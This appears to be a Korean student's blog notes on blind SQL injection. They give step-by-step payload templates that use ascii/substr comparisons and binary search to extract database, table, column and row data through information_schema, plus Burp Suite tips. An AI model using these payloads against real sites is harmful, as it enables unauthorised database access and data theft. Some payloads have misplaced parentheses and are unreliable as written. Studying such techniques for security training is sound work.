Blind SQLI

황인환·2024년 6월 2일

조건

  • Union SQLInjection 이 안될때
    +) Union SqlInjection은 sql injection 결과가 화면에 출력되는 경우 사용가능
    +) 대표적인 예는 게시판 But sql injection 결과가 화면에 출력되는 곳은 사용가능
    +) 필수조건은 컬럼 갯수를 알아야함
    order by 나 union select '1'# -> union select '1','1'# ...하나씩 늘려가서 error나올때까지

  • Errorbased SQLInjection 이 안될때
    +) error 메시지가 화면에 출력되야 사용가능
    +) 로직에러이거나 sql에러이어야함

  • 둘다 안될시 Blind Sql injection 사용
    +) 참거짓 응답차이로 알아냄
    +) 대표적인 예시로 로그인과 아이디 중복체크화면이 있다.

STEP

1. SQLInjection 포인트 찾기

  • 참과 거짓일때 반응보기
    ex) ' 넣어보기
    참일때 -> a' and ('1'='1')and'1'='1
    거짓일때 -> a' and ('1'='2')and'1'='1

2. select 가능한지 확인하기

  • 필터링되는지 확인하는 단계
    ex) a' and ((select 'test')='test')and'1'='1
    +) select 'test'의 결과가 'test'이기때문에 참인 조건이다.

3. 공격format만들기

3-1 a' and (ascii(substr(_sql__), 1,1)>0) and '1'='1
3-2 substr((select 'test'),1,1)='t'를 대입하여 테스트 진행
3-3 (ascii(substr(select '글자하나가 나올만한 단어'), 1,1)>0) ex) id
3-4 0보다 크게라는 조건을 설정한 이유는 ascii코드로 변환때문에 글자가 존재하면 0보다 크다.
3-5 숫자 맞추기 게임처럼 중간 값을 계속 넣어 정답에 효율적으로 접근한다. ascill -> 32-127
3-6 Burp Suite repeater를 사용하여 효율적으로 처리할 수 있음
+) request 창에 query -> url코드로 되어있음 -> 우클릭 -> convert selection -> URL -> URL decoding 클릭
+) response 창 하단 검색창에 결과값((ex) 존재하는 이이디 입니다.) 기입 -> 톱니바퀴 클릭-> auto scroll 체크 -> send 보내고 결과값에서 자동으로 기입한 글 찾아줌

4. DB이름을 출력

  • DB이름 출력 sql문
    select database()

  • ex)
    a' and (ascii(substr(select database()), 1,1)>0) and '1'='1
    1,1) >0 부분에서 0부분을 조정하여 숫자맞추기처럼 답을 맞춤
    70일때 참이고 71일때 거짓이면 답은 71 -> >에 =이 포함되지 않아서

5. Table 이름 출력

  • Table 이름 출력하는 sql문
    select table_name from information_schema.tables where table_schema='DB이름' limit 0,1

  • ex) a' and (ascii(substr(select table_name from information_schema.tables where table_schema='DB이름' limit 0,1), 1,1)>0) and '1'='1

6. Column 이름 출력

  • Column 이름 출력하는 sql문
    select column_name from information_schema.columns where table_schema='DB이름' limit 0,1

  • ex) a' and (ascii(substr(select column_name from information_schema.columns where table_schema='DB이름' limit 0,1), 1,1)>0) and '1'='1

7. DB 정보 추출

  • 정보추출 sql문
    select '찾은 column' from '찾은 table' limit 0,1

  • ex) a' and (ascii(substr(select '찾은 column' from '찾은 table' limit 0,1), 1,1)>0) and '1'='1

알아야하는 정보

1. ascii함수

  • 문자를 ascii코드로 변환시켜주는 함수
    +) ex ascill('a') -> 97
  • ascii 함수는 32 -127까지이다.

2. substr함수

  • 문자열에서 원하는 부분을 잘라서 보여줌
  • 1부터 시작
  • substr(문자열,시작위치,범위)
    ex)
    +) substr('test',1,1) -> 't'
    +) substr('test',1,2) -> 'te'
    +) substr('test',2,1) -> 'e'

3. 숫자맞추기게임

랜덤으로 지정된 숫자를 맞추는 게임 틀릴경우 up & down으로 알려줌
범위의 가운데를 물어보는 것이 효율적
ex) 1-100숫자 -> 50 ->up이라면 ->75 -> 업이라면 87 .....

4. 값 정하기

ex) a' and (ascii(substr(select database()), 1,1)>0) and '1'='1
1,1) >0 부분에서 0부분을 조정하여 숫자맞추기처럼 답을 맞춤
70일때 참이고 71일때 거짓이면 답은 71 -> >에 =이 포함되지 않아서

5. limit함수

  • limit 순서, 갯수
  • ex) select name, job from user limit 0,1
    ex)저장된 정보
namejob
jsonprogramer
adamdoctor
maxteacher

-> limit 0,1 1번째부터 1개 출력
josn programer
-> limit 0,2 1번째부터 2개 출력
json progmaer
adam doctor
-> limit 1,1 2번째부터 1개 출력
adam doctor
-> limit 1,2 2번째부터 2개출력
adam doctor
max teacher

-- Normaltic Study 7주차 --

0개의 댓글